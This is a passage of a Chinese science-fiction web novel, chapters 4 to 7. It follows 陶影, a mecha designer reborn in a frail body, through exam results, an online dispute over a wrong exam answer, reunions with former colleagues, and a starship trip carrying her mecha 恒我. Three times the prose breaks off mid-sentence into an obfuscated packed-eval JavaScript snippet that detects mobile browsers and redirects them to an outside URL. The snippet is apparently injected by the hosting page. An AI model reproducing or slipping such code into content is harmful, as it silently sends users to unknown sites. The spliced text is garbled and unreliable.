柏氏工业和莱机所属于合作关系，在那场大火后，柏氏工业接收了恒我，负责修复工作。 但恒我因为那场火灾，损毁了太多数据，虽然研究人员根据陶影死前向他们发送的部分数据文件，恢复了恒我大部分功能，但最重要的精神力连接模块出现了问题。 恒我排斥自己遇到的每一位机师，完全无法启动。 这些年柏墨一有空就在星系间来回跑，想要寻找合适的机师，她甚至邀请过军队精神力S级的元帅试驾，但最终还是没有奇迹发生。 这个月是最后期限，如果恒我仍旧无法启动，就只能在柏氏工业销毁。 身为柏氏工业的下一任继承人，她也无法阻止。 桌面上摆着一个十几厘米的恒我模型，这是她小时候去莱机所玩耍，那里的所长送给她的玩具。 柏墨手臂肌肉收紧，将它紧握在手中。 片刻后，她摊开手，又重新把模型摆在桌上。 叹了口气，坐回椅子上。 喃喃道：“究竟要去哪里，才能找到恒我承认的机师？” · 联考结束的第三天晚上，联考系统会通过光脑，发送成绩信息。 但鉴于各个星系之间的网络条件非常不稳定，还有仪式感上的考虑——每个星球的考试部门都会提供现场的结果查询。 以杀马特星为例，三年一次，银河广场都会聚集大量的考生在这里等待联考的结果公布。 陶影不是头一回参加联考，心里头没什么波澜，本来打算在房间内等待结果，不过开窗透气的时候，突然闻到一股略带苦涩的冰莱式味道，很像在莱门的时候她爱喝的那家，第二杯半价。 她靠在窗前深呼吸几口气，被勾出一点馋虫，最后决定带上几十枚星币下楼，凑凑热闹。 她租的房间就在银河广场旁边的高楼，这个时间，高楼里租住的大多都是考生。 八点，挤在楼里的考生群里齐刷刷下楼。 考生们眼神中都掩藏不住等待结果的兴奋，伴随的还有几分紧张。高亢的热度让人浑身热血沸腾。 戴着红围巾的少女，兴奋得流鼻血，但一点没在意，捂着鼻子，仍然沉浸在狂欢的气氛里，甩着T恤，猴子一样乱蹦。 她手指向天：“我就算是今天血流干了，死在这里，也要等到考试结果出来再死！” 因为太过丢人，被她两位朋友迅速按在地上制服。 “闭嘴吧你，把血止住再说。” 俩朋友把流鼻血的少女拉到广场旁边的矮梯，试图止血，但兜里的纸巾全用光了。 他俩左顾右盼，发现广场尽头有一家咖啡店，决定去店里借毛巾。 店内冷冷清清，只有一位顾客。 顾客一手握着杯冰莱式，一手在操纵着光脑查询成绩。 正是陶影。 两名考生等待店员拿毛巾的空当，忍不住多往这边瞄了几眼。 他们星球的人不爱喝咖啡，这家咖啡店平时空空荡荡，陶影坐在这儿，非常显眼。 再加上她皮肤苍白，看上去体质不太好，就更显眼了。 陶影察觉到他们的目光，回望过去，在看见他们手上的血以后，脑中嗡地一声。 哐啷——她顺着桌子滑到地板上。 “？”两名考生大惊失色。 “你，你怎么了？” “……” 陶影扶着桌子起身。 这两天都有正常喝营养液，头晕应该不是因为低血糖。 那是什么原因？ 陶影转过头，视线落在考生手心那红色的液体上，险些又晕了过去。 ……血。 两位考生似乎也察觉到什么，迟疑问道： “你，你不会晕血吧？” 十分钟后，鼻血已经止住的少女见朋友迟迟没有回来，便一个人慢悠悠晃到了咖啡店门口，开口正要打招呼，就见朋友和店员齐声朝她喊：“你别过来！！” “嗯？为什么？”少女捂着鼻子莫名其妙，但还是听从同伴的话老老实实站在了原地。 陶影对着血测试了几次，确定她是真的晕血后，陷入沉默。 考生A兴奋起来。 “我还是第一次看见晕血的人，以前都只在教科书里见过！” “你小声点。”考生B捏住她的嘴。 “不，不好意思，我不是嘲笑你的意思，就是这个病挺罕见的……我第一次见……” 陶影喝了口咖啡，摆摆手示意自己并没在意她说的话。 “没关系，我也是第一次见。” 数万年前，战争完全毁灭了蓝星的生存环境。人类在长久寻找新星球的太空流浪中，已经筛选掉了很多弱势基因，星历元年后出生的孩子，基本上都非常健康。 晕血是罕见病，在全星际的患病率，堪称中彩票。 她以前也只在教科书上见过。 这具身体究竟还有什么惊喜给她？ 眼见离八点还有一分钟，考生们都开始兴奋地刷新自己的成绩。 广场上爆发出一阵阵的欢呼。 “我488，应该能去第一星系的特里顿中学。” “我520！我可以去雷克斯中学啦！” “你别蹦哒了，待会儿又流鼻血我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585884|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们直接把你扔这儿。” “少废话，你多少分？” “比你差两分，应该也是去雷克斯中学……” “哈哈哈，这几所学校离得都近，到时候我们可以半夜一起出来吃烧烤。” “然后一群人去找店员要毛巾帮你止血？” “你们能不能忘记这茬？” “不行，你流鼻血的画面已经刻我DNA里了，以后遗传给我孩子。” “喂，这个遗传不了吧。” “谁说的，”俩损友同时伸手，“友情价，一人三百星币，到帐就删除记忆。” 少女按住鼻子，气得跳起来。 “你俩是不是我朋友啊喂！” 真青春啊。 陶影吸了口咖啡，手在屏幕上敲敲打打。 这三人应该是初中部的考生，他们要去的特里顿和雷克斯中学，在第一星系的口碑挺好，看来他们成绩不错。 三位考生欢呼了一会儿，听见陶影的光脑传来叮咚的声音，三人非常自来熟地靠过来。 “你也是今年的考生吧？考哪里的中学？你去莱门市的话，说不定我们到时候是同学。” 星际联考分中学部和大学部，陶影年纪和他们差不多，他们自然而然以为她也是报考中学部的学生。 光脑还卡在查询界面，等着也是等着，陶影吸了一口咖啡，随口乱回： “谁说我要去莱门？” “你刚刚不是订了去莱门的船票吗，那个订票软件的提示音很独特的，一听就知道。话说去第一星系的船，一个月只有一班，我们到时候可以搭伴哎！” “我也有可能在第二星系半途下船啊。” “怎么可能，那附近最近有虫族出没！” “就是，附近的客运舰船都受限制，我们这儿没办法直达。” 三人点点头。 这陶影倒也知道，按军方公布的袭击数据来看，虫族最喜欢攻击的就是第二星系。不过如果那边的情况这么严重，第三星系的部队应该调过去了不少。 “第三星系情况怎么样？” “你不会真想半途下船吧？！”三人见陶影这么问，大惊失色，“第三星系更去不得啊！那边警力缺乏，星盗趁机作乱，正常人都会从安全路线转几次，不会坐直达星舰的。” “哦，谁知道呢。” 陶影调皮地眨了下眼睛。 空气中弥漫着咖啡的醇香，暖黄色的温馨灯光下，陶影用勺子舀了一口刚出炉的小蛋糕，甜味顺着喉咙滑进胃里，能量上涌的感觉，让她心情愉悦。 好正宗的莱门口味，老板是不是去那里当过学徒？ 她放下勺子。 “好吧，我的确跟你们同一班星舰，不过成为同学，不太可能。” “怎么会？我们的同学遍布莱门，只要你去莱门，肯定避不开我们！你说说，你打算去哪所学校？” 没等三人组问出结果，光脑上传来查询结果，陶影瞥了眼分数后，手在大腿上敲了敲，喝完最后一口咖啡。 总分559，比她预估的分数低了十分。 去她想要的专业是没什么问题，但这个分数有些奇怪。 考生见陶影一直没回答，转头又开始热火朝天地聊天。 “今年大学部的最高分出来了，570！柏墨。” “啊？柏墨，那个才十六岁，就参加四次机甲联赛，单挑场次从来没输过的机甲狂魔？！不会吧，她精神力和体质双A，怎么会不去帝一军校！” “就是，太浪费才能了吧！” 柏墨？好熟悉的名字。 陶影摸了摸下巴。 那不是柏氏的下任家主吗。 之前跟柏氏工业合作项目的时候，陶影见过她。柏墨当时还不到十岁，就能在模拟舱里和一级机师打得有来有回，在操纵机甲方面天赋异禀。 双A体质，不去帝一的确是可惜了，不知道是出于什么考虑。 要是能见到柏墨，兴许可以想办法打探一下恒我的情况。不过以柏墨的水平，就算不去帝一，肯定也是去其它一级军校。军校在C区，莱门大学在A区，她们两人应该很难碰上面。 还是去了莱门之后再做打算吧。 陶影将冰莱式的杯子扔进垃圾桶，起身离开。 门口的风铃叮铃了几声，三名考生余光瞥见陶影光脑的查询页面，愣在原地。隔了好一阵子，赫莉颤巍巍道： “我，我刚才好像看见她的分数，是559……” “不可能吧，你是不是看错了一位？” “不，我确定，绝对是559。而且就算是459也很离谱啊！” 本杰明吞了一口口水，两手发颤。 “因为她考的是大学部！！” “什么？！” 咖啡店里传来几声惊呼。 “难道她想去莱门大学？！” 5. 第 5 章 而陶影对这几位考生后续的讨论一无所知。 回到房间后，她向莱门大学发了邮件，星舰离开的日期在两天后，正常来说，她应该能在星舰上收到录取回复。 在此之前，她还有点疑惑需要确认一下。 她的选修分数比预估低了十分，虽然对她的录取结果没什么影响，但总归有点奇怪。 她点开联考论坛板块，对了遍公布的答案，发现有一道小题的答案和她算的正好差了一位数。 3.395…… 她拿出纸笔，沙沙写了半篇纸，又算了一次，还是差了一位数。 她咬下一口面包，随手把解题过程拍了一份，发到考生论坛里。 【知觉机甲科最后一题，答案是不是出错了？附解题思路。】 看了眼时间，已经是晚上九点，估计考生这会儿都狂欢去了，没人会看帖，明天早上起来应该有人回复。 陶影一头躺在床上，放空大脑，美美入梦。 殊不知因为她这篇帖子，一晚上有多少人睡不着觉。 · 半夜十二点，一个穿着白色T恤，腰系蓝色工装，浑身机油味的女人走在银河广场边。她脚步摇摇晃晃，像极了嗑药的流浪者。路过的人不小心看到她，都加快了脚步离开，默默走远，生怕和她对上视线。 只见女人进了一家咖啡店。 厨房走出一个一米九的大汉，看她这个要死不活的状态，面带诧异，递了条毛巾过去。 “车研究员，擦擦身上的机油再睡。” “累了，待会擦。——而且我们早就不是研究员了，莱机所都解散多久了。”女人嘟囔两句，拿毛巾垫着额头，趴在桌子上，咬了一口大汉递过来的面包。 大汉脱下围裙：“今天工作很累？” “岂止是很累，简直累死！” 说到这个女人就不困了，恨恨地把毛巾往桌子上一摔。 “附近的航段最近不是闹星盗吗，我那抠门上司担心安全，又不舍得花钱搞安防，最后不晓得从哪个角落搬出来几台破机甲，让我修到可以用的程度。” “你敢信，那机甲连动力核心都没有，零件用的甚至用的还是旧世代的金属，装甲都快锈穿了，这叫我怎么修？！那帮老头子根本就不懂机甲！” 女人越说越气，最后坐回沙发上，望着天花板上的白色吊灯。 “唉，最近贝蒂也跟我说，她攒了不少钱，邀请我们回莱门去，重建莱机所。我都不知道怎么跟她说。” 依靠陶影去世前留下的人脉，总能找到机甲商投资，要重建莱机所，她们缺的不是钱，而是能将她们重新聚在一起的核心。 机甲如果没有运算核心，也就是一架开不动的漂亮玩具。 女人安静躺了片刻，随后撑着身子，朝一边的大汉竖起大拇指：“实在不行，要不我们回莱门去，掀开老大的棺材板，看能不能找到她的DNA，然后复制一个她，重建莱机所？” 大龙认真地摇了摇头：“晓理，你忘了，老大是火化的，掀了棺材板大概也找不到她的DNA。” 车晓理：“……” “我是开玩笑的。” 大龙：“……原来如此。” “你不会真考虑过这个可能性吧，星际伦理法了解一下？”车晓理眯着眼，坐起身撞了下大龙的肩膀，见他一副很累的样子，也不逗他了。收起讲地狱笑话的心思，掏出便携式光脑。 他们虽然离开莱门很久了，但作为研究者，还是会经常逛内部的技术论坛——作为有催眠效果的睡前放松活动。 【转帖：今年联考知觉机甲科第三十四题的答案是不是出错了？原始链接：】 【联考题目？小孩子家家的题目怎么转到我们版面来了。】 【年轻人吵得还挺热闹，我去看看。】 【知觉机甲科……负责这部分出题的人是朱驰吧？上个月监测中心的天幕显示出问题，我才提了工单，中心到现在都没回我。那边也是朱驰负责的，他怎么老掉链子？】 直觉嗅到一丝不寻常的味道，车晓理不自觉也点进原帖围观。 不得不说，果然还是吵架帖最热闹，楼很快就被顶了起来。 发帖人只给了一张像素略低的步骤图，什么话也没说，给了人不少想象空间。 【丁毛毛：LZ好自信哦，这可是联考题，质疑别人答案出错，不如怀疑自己算错了。】 【三分像人：就是，发帖之前多算几次吧，真有勇气。】 【不知道晚饭吃什么：你别说，选考知觉机甲科，确实挺有勇气。这科目刚出来几年，题库都凑不齐几套题。考这门的，要不天才，要不就是自命不凡的蠢蛋。】 车晓理眯着眼睛，手在面前扫了扫溢出屏幕的戾气，刷啦刷啦往下翻页。 【丁毛毛：楼主怎么这么久不回，不会是发现自己算错，太丢人了吧。】 【小南瓜：也不一定楼主算错了吧，她不是给了过程吗，要不大家先算算？】 【丁毛毛：这一看开头我就知道不对，套的公式都不对。】 【小南瓜：但是最后结果位数只差了一位哎，应该是中间哪一步算错了吧？LZ你省略的步骤太多了，能不能详细一点。】 这个丁毛毛一直没给出自己计算的结果，只一个劲强调考题不可能出错。 【今年的出题人可是朱驰，朱驰知道是谁吗，第一代知觉机甲的总设计师，莱门监测中心新上任的主任，他能出错？】 怎么不可能呢，朱驰上任之后捅篓子可不少。 车哓理闲得无聊，戳戳一边的大龙。 “来，算题。” 大龙老实巴交掏出纸笔，却在下笔前愣住了，他凑近屏幕仔细看了会儿，转头道： “你觉不觉得这个字迹有点像老大？” “大龙，你开玩笑不要这么严肃，我会当真的。” “我没开玩笑，真的很像。” “是吗？我看看。” 车晓理半信半疑地回到页面顶端，放大那张像素极低，只能勉强看清的草稿。 她砸吧两下嘴：“还真有点像，甚至套公式的习惯也和老大一模一样……等下，这个数据怎么这么眼熟，这不是恒我的初版数据吗？” 大龙顿住：“你确定？” “恒我每个零件的尺寸我都记得清清楚楚，化成灰我都记得，绝对没错！这出题人哪里来的数据，初版废案应该都被老大销毁了啊？” 大龙思索了一下，按着自己的思路解了一遍题，3.395mm。 “车研究员，阿尔法96号零件的长度？” “3.395mm，和这发帖人算的结果一样。答案确实出错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585885|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 帖子的热度很快引起了很多人的注意。 【红发甜心：我按标准步骤算了下，好像还真错了？附图：*.png】 【啊？楼上这个ID，难道是尹子航大大！】 【咦，是今年分数第二的那位吗？】 【我去我在联考第二的楼下？！前排合影！！！】 【丁毛毛：联考第二又怎么样？他又没有选考知觉机甲科，也有可能算错。】 【楼上你差不多得了，不信联考第二难道信你啊。】 联考第二名回帖，更把帖子的热度推了上去。 · 陶影一觉睡到中午，起床后想起昨晚发的帖子，一边刷牙一边点开光脑。 未读9999？什么情况，考生论坛出bug了？ 还没来得及点开看是什么情况，光脑屏幕闪过一道白线，随后彻底迎来自己的机生终点。 于是直到晚上，陶影才办完新光脑的手续。 躺在床上，她打开腕式光脑。 这是加西亚电子的新款，呃，开关应该是在侧边…… 一声清脆的按键声后，虚拟光屏投射在她面前。 论坛的回复已经盖到了一万多楼。 【题目竟然真的出错了啊？】 【按照以前联考题出错的经验，大概率是不会改了，只能认栽。不过反正是最后一道题，本来就没几个人能做出来，应该没什么影响吧？】 【DJD车：别啊，万一楼主做出来了呢，那可是十分，加上说不定就能换个星系生活了。】 【速报，这帖子上星网头条第八了！】 ……这个事态发展有点超出预料。 甚至后台还有星网头条的记者私信陶影，说要采访她。 帖子热起来，是因为一个叫“DJD车”，和另一个叫“丁毛毛”的网友，在帖子里疯狂互掐。 【DJD车：连这种低级错误都犯，出题人的能力怕是不太行。】 【丁毛毛：朱驰可是第一代知觉机甲的总设计师，你什么身份，凭什么质疑？】 【DJD车：反正比你有资格质疑。话说第一代知觉机甲总设计师应该是陶影吧？朱驰还是莱大的学生呢，得叫陶影一声学姐。】 【丁毛毛：唷，陶影这种拿机密数据卖钱的人还能有人帮她说话，这世道怎么了？当年不就是陶影偷了朱驰的研究成果，还把人赶出莱机所吗，怎么，当星网没有记忆的？】 【DJD车：哈？究竟是谁偷谁的研究成果啊？分明是朱驰偷数据不成被赶出门，然后倒打一耙。姓丁的，你有本事出来跟我单挑！】 【丁毛毛：你一个第四星系的人，还想来第一星系跟我单挑？下辈子吧。】 【DJD车：老娘考到第一星系的时候，你还没出生呢！】 【红发甜心：你们不要再打了啦，要打记得开个直播，我去给你们刷礼物~（撒花）】 陶影：“……” 网友真是看热闹不嫌事大。 不过她也对这段互掐的对话很感兴趣。 朱驰偷数据的事，只有莱机所的核心成员知道。这个DJD车，看上去对莱机所内部的情况非常了解。 而且这个ID和说话风格……实在太像她那位下属兼祖宗了。 陶影沉思片刻，点开DJD车的个人信息。 6. 第 6 章 用户名：DJD车 简介：杀马特星银河广场咖啡店店主，兼机甲维护师 …… 不会那么巧吧，陶影默默打开地图搜索，方圆十几公里，似乎只有这么一家咖啡店。 店铺注册人：车晓理。 …… 虽然说现在科技发达，已经通过交通缩短了人与人之间的距离。 但是星际这么小的吗，在第四星系一个不知名星球都能遇见同事？ 难怪店里的食物口味那么正宗。 陶影嘴角抽动两下，想笑又有点笑不出来，半晌叹了口气。 莱机所解散后，核心成员都被迫离开了第一星系。 她才刚刚踏出回到莱门市的第一步。 还有很多事情等着她去做。 陶影简单回复帖子后，关闭了页面，没有继续关注。她收拾行李，准备去莱门的行程。 船票上写着的日期就是明天了。 而另一边，咖啡厅二楼，车晓理用毛巾搓了两下半干的头发，凑到大龙身边。 “不过这个发帖人【颖1224】的说话方式，实在和老大太像了。说是老大在天之灵我都信。” 说到这里，车晓理突然愣住了：“难，难道她是……” “是什么。” “是你偷走老大骨灰偷偷去克隆的老大二号？” “……” “我没有，”大龙缓慢转过头，“而且我去墓地的时候，老大的骨灰已经被偷走了……” “6，你果然也去墓地踩过点。等一下，已经被偷走了？除了我们还有谁会偷老大骨灰？！” “不知道，能想到的人有点多，一时不知道该猜谁。” “也是，老大的人脉遍布星际。” 车晓理原地转圈，咬起指甲，片刻后，从沙发上跳起来。 “不行，我要回莱门去，非得把那个偷老大骨灰的变态揪出来不可！大龙，订明天的船票！” · 一夜过去，陶影来到港口，来自贝母星的星舰已经停靠几个小时，前面的乘客正在依序上舰。 她行李不多，全装在一个小背包里随身携带。 大部分生活必需品她都打算去莱门后再买。不过临出门她还是购入了一些小型电子设备，以备不时之需。 毕竟是跨越几个星系的路程，即便是在有固定跃迁点的情况下，也需要十几个小时。还会途径没有光脑信号的地区。 不能连上星网的时候，她要给自己找点事情做，免得太过无聊。 登船口闸机处。 队伍排了很长，陶影身前还有一百来人，正在一个个安检。 大概是机器老旧，外加超量工作，安检机器突然滴滴两声，罢工了。 人群被堵在登舷梯中间，挤来挤去。 陶影运气比较好，周围一群人都是学生，看她脸色不好，主动帮她隔出一块空间。 这群学生个子挺高的，肌肉也壮实。 陶影看了眼他们的校徽，是卡缪军校的标志。 二级军校。 卡谬军校的学生们察觉到有人在看，一点也不遮掩，非常自信地挺胸，露出胸前的徽章，显然很自豪。 大家等了很久，安检机器迟迟没有修好，人群推推搡搡，都有点不耐烦。 这时，队伍后方突然传来一声中气十足的“让开”。 来人带着命令语气，卡谬军校的学生们听得有些不满，正要说什么，但在看到来人后，他们闭上嘴，自觉让开了道路。 陶影有些奇怪地转头，来人胸口别着勋章，上面是鹰爪图案。 帝国第一军校的标志？ 能去帝一军校的学生，几乎都是精神力体质双A的优质人类，从出生起就注定踏上和别人不同的轻松道路。 难怪这么自傲。 “中学部的小鬼，让开。” 帝一学生露出轻蔑的表情，撇掉校徽上沾的灰尘，示意陶影走开。 嗯？ 精神力A的人有一个基本的共同点，就是情绪稳定，不随便挑事。这人不太像精神力A的样子。 还是帝一军校现在降低了招生的精神力要求？ 陶影这副身体，没打算跟人起冲突，她退后了两步。 安检机器似乎修好了，人群很快又动起来。 陶影听见身后有人窸窸窣窣靠近。 “哎哎，前面那个女生，是不是那天我们在咖啡店见过的，联考559分的那个？” “听说杀马特星今年只有一个人考上了莱大，就是559分哎，难不成就是她？” “太厉害了吧。” “她竟然能考上星际第一的大学……真好啊，我以后也想去。” “有点难，我祝你成功罢。” 在这个港口上船的，大多数都是这届的考生，年纪不大，话头一起，五分钟就打成一片，纷纷探头想看看这个考上莱门大学的偏远星系学生，究竟长什么样。 陶影站得远，倒是没听见他们说什么，但身边的帝一学生听得清清楚楚。 他嗤笑一声：“莱门大学又怎么样？都是些死读书的。星际和平最终还不是靠我们机师维持。” 身边有其他帝一学生打圆场。 “小丁，现在性能最优秀的知觉机甲，是莱门大学的毕业生制造的。” “嘁，只要是个好机师，就算开最烂的机甲也能杀虫族。” “……”这圆场是打不下去了，身边的同学不好意思地朝陶影投来一个道歉的眼神，同时示意她先走。 陶影并不推辞，先一步踏上星舰，回头微笑。 “的确，想必这位学生开初代G-easy也能怒杀十只虫族。” 那名帝一学生似乎觉得陶影是在服软，气顺了，洋洋得意道： “那当然。” 旁边传来小声的笑。 Geasy初代是海台科技出品的民用机甲，常用于小型工业作业——比如巡逻，重物搬运。 它以稳定性闻名，因为是民用型，连基本的战斗的功能都没有，更别说开着它去杀虫族了，这对任何一个普通机甲科学生来说，都是常识性的问题。 更别说是帝国第一军校的学生。 和这位帝一学生同行的人互相对视，没想到他竟然连这个都不知道，眼中都带了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585886|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶。 陶影进入船舱，放好行李后，距离开船还有一段时间。 她身体不太舒服，想去通风窗附近呼吸一些新鲜空气，肩膀突然被拍了拍。 乍被人一拍，险些倒地。 身后传来几声惊恐的“你没事吧”，还有几只手伸出来想扶她，陶影眼前一片虚影，摇了摇头示意不用，站了起来。 等看清她是谁，身边的声音突然增大。 “啊！是你啊！” 站在最前面的，是个戴红色围巾的女孩。 他们认识吗？陶影眨巴一下眼睛，正在思考这人是谁。女生身边长相十分相似的一男一女，十分有默契地揪起女孩的红色围巾，按在女孩鼻子下方。 “啊，”陶影眯了眯眼，“是咖啡店那个流鼻血的中学生……还有你的两位朋友。” 两位朋友高兴地点点头。 “索尼娅。”“本杰明。”“我们是兄妹。” “至于这位流鼻血的中学生，她叫赫莉。” 女孩捂脸：“能不能忘了我流鼻血这茬？” 本杰明从兜里掏出手机： “你等等，我先打个电话问我妈。” “怎么连阿姨都知道了，你还告诉了谁？” “我们全家十七口人。” 兄妹同时朝赫莉伸手。 “封口费，请。” 赫莉跳上去就是一个锁喉：“有你们这么敲诈朋友的吗！” 中学生们快乐打闹了一阵后，得知自己的座位就在陶影旁边，非常兴奋，行李随便往座位上一丢，就要和她一起去通风窗透气。 通风窗在运输舰的中部，在港口停靠期间会短暂打开。 陶影侧靠在窗边，深吸了几口新鲜空气——其实也不是很新鲜，杀马特星空气稀薄且干燥，甚至迎风都能吃一嘴的沙粒。 但这种自然的空气还是让陶影身体略微放松了一点。 她顺着窗口朝下望去。 几名中学生好奇地和陶影看向同一个方向。 通风窗底下有一大片平地，堆满了集装箱。 “那里有什么东西吗？”赫莉缩着脖子，小声道。 索尼娅摊手：“不知道，但学霸这么做肯定有她的理由。” 船腹处的货舱大门打开，往外运送中央星系来的物资。杀马特星的商人正守着传送带，清点数目。 一台二十米高的机器立在传送带上，十几个人小心翼翼地站在周围确保情况。 “那是什么啊？” 三人都有些好奇那大家伙，但机器被黑色防水布遮挡，只在角落处露出一块漆黑的金属，他们伸长了脖子，也没看出那是什么。 “有点像机甲。”“不是吧，我们这种地方有谁能买得起机甲？” “那就不是我们这儿的呗，你看，它应该是要运输去莱门的。柏氏不是在附近新修了一家机甲实验场吗，可能是在那里调试完成运送到莱门去的。” 陶影盯着货舱里那台机甲，一秒也移不开视线。 她眉间微动，似乎看见了什么极其熟悉的朋友，朝身开口道： “柏氏工业在附近修了机甲实验场？” 7. 第 7 章 “是啊，大概三年前吧，距离这里最近的埃尔德瑞亚星，整个星球都被柏氏工业包下来了。” “……这样啊。” 陶影微微放松身体，靠在窗侧，视线一刻也没有离开那台被防水布遮盖的机甲，直到它彻底进入货舱。 她的视线和刚才不同，似乎对那台机甲非常感兴趣。 赫莉揉紧了一下脖子上的红围巾，不自觉地凑了过去。 “你很喜欢机甲吗？” “嗯？”陶影少有地愣了下神，她垂下头思考了一会儿，抬头时又恢复了友善的微笑。 她摊摊手，用俏皮的语气道： “当然，愿意把生命献给它的程度。” · 货舱大概五十米高，金属色的运送轨道锈迹斑斑。一块巨大的黄色提示牌挂在墙上，写着非工作人员不得入内。 身穿工装的女性神色紧张地蹲在安全门前，手握螺丝刀，研究着怎么开锁。 ……正是车哓理。 要说，车晓理此行的目的应该是安安分分到达莱门，经过一系列调查，找出偷走陶影骨灰的人，至于现在她为什么会在这里鬼鬼祟祟开锁……那当然是有非做不可的理由。 “我绝对没有看错，刚刚运进货舱的那台机甲……风吹起披在它身上的防水布的时候，我的心脏，我的灵魂简直要烧起来了。” 车研究员的眸光在燃烧。 没错，那是恒我，是他们团队整整五年的心血结晶。 曾经它的每一寸零件都是那么完美而漂亮，现在却布满了灰尘，呆在这种破烂运输舰的货舱，随便披着一块最便宜，甚至被老鼠啃出破洞的防水布。即将被运输到莱门市区执行销毁。 没有人能眼睁睁看着这种事情发生。 这艘星舰很旧，大概从雷瓦尔帝国存在就开始服役了，配备的大多是旧时代的设备。货舱的锁也不例外。 旋转的棘轮声清脆而好听，精密的开锁过程也是个体力活，车晓理的太阳穴滴下几滴汗水，随后她的嘴角自信勾起。 带着棕红色锈迹的锁逐渐打开，车晓理朝盯梢的大龙挑眉。 “走，去看看我们的老朋友。” · 【尊敬的旅客，本舰即将到达第四星系和第三星系交界处的423跃迁点，跃迁中可能引发头晕、呕吐、精神紧张等症状，如有不适，请及时按下座位侧边的按钮，向舰医寻求帮助。】 播报完通知，舰内广播系统放起温柔舒缓的音乐。 去切斯特星的路程大概需要花上一天，大部分人都在休息，但陶影身边这三位中学部的学生，仿佛根本不知道累字怎么写。 大概是第一次出远门，他们听见安全广播，就开始兴奋地寻找座位上的呼叫按钮。 “是不是这个？按下去就可以接通舰医室？咦，我的座位上怎么没有？” 赫莉坐在靠窗的12K位置，往自己的座位底下摸索了半天也没找到。 兄妹从前面探出头，开始你一句我一句地帮她找。 陶影按按抽痛的脑袋，合上便携式运算机的屏幕，越过赫莉，将手伸到她脑后，从金属椅背的侧下方，扣下一个电池盖一样的小块，随后从洞口内抽拉出一根小型通信线，放在赫莉的手中。 通信线末端是个铁皮小黑盒，有一红一绿两个按钮。 索尼娅惊喜地把头探过椅背。 “哇，为什么赫莉的按钮是这样的？我们的就是普通按钮。” 陶影捏了捏那根线，解释道：“这艘星舰原本是货运舰，现在的客舱是由货舱改装的。这个位置原本是跟调度室进行通信的操作台，所以线路和其它地方不太一样。大概客舱的通信中心就在这个座位底下。” “哦——”赫莉听得云里雾里，“那这一红一绿两个按钮有什么区别？” 她求知的眼神非常明亮，陶影微微一笑。 “绿色按钮会接通调度室。红色那个……大概会让星舰进入自毁程序吧。” “等，等下，你是说自爆按钮？！这不对吧，这种东西为什么会放在客舱这么危险的地方……” “毕竟运输舰在太空中总是会遇上各种异常情况，总会需要一个结束一切争议的按钮。” “你，你是在开玩笑吧。” “谁知道呢。你们可以试试。” “那，那还是不试了吧。” 赫莉汗流浃背，迅速把线缆放回它原本待的地方，扣上盖子，端坐在原地。 但是在塞回盒子的途中，不小心撞到椅背，咔哒一声，红色按键陷了下去。 “……” 几人不知所措，下意识屏住呼吸，觉得自己闯了大祸。 下一秒，通信仪器里传来声音。 “这里是星舰医疗区，请问是有什么不适吗？” 陶影一脸微笑望着她们，脸上写着“上当了吧”。 赫莉：“……” 怎么还欺负小孩呢！ 很无聊，正想再逗他们玩，陶影瞥到一眼电脑屏幕，面色突然冷下来，解开安全带，站起身。 “你去哪儿啊？快要到达跃迁点了，最好不要到处走动。” “散心。” “散心？”星舰上有什么地方可以散心的，还不如看舷窗外的风景。 而且既然是散心的话，为什么要带上电脑？ 赫莉虽然奇怪，但还是朝走廊探出脑袋，关心道： “那你别走太远啊。” “嗯，我会很快回来的……希望如此。” · 离开客舱的陶影，避开人群，躲进拐角处的一个清扫间，又重新打开了便携运算机，屏幕上显示的……正是星舰的监控。 刚刚她通过无线网络侵入了监控，确认了货舱里的那台机甲，就是恒我。 但它不该在这里。 以柏氏工业的能力，修复恒我并不难。它现在不应该在军队服役吗，怎么会面临销毁？ 屏幕在抖动，陶影过了一会儿，才发现是自己的手在微微颤动。 …… 手麻了，她换了个姿势蹲着。 现在最重要的是阻止恒我的销毁，但就算她现在去了货舱，要怎么在所有人面前，把那么大一个庞然大物给运走？ 沉默了一会儿，陶影突然看见货舱的监控中出现了两个熟人。 女人头发高高扎起，腰间系着蓝色工装，男人块头巨大，就是动作有点呆呆的。 车晓理和大龙？ 他们两个怎么会在这里？ 监控画面中，车晓理鬼鬼祟祟地来到被防水布遮挡的恒我面前，钻了进去。 “……” 陶影时常觉得自己的两位下属在机甲上的才能，整个星际都难找出来第三个。 但在其它方面的才能，简直欠缺得令人发指。 比如干坏事这事上。 不知道这个世界上有监控这种东西的吗？ 不知道的话，最起码遮一下脸啊？ 被人撞见怎么办！ 陶 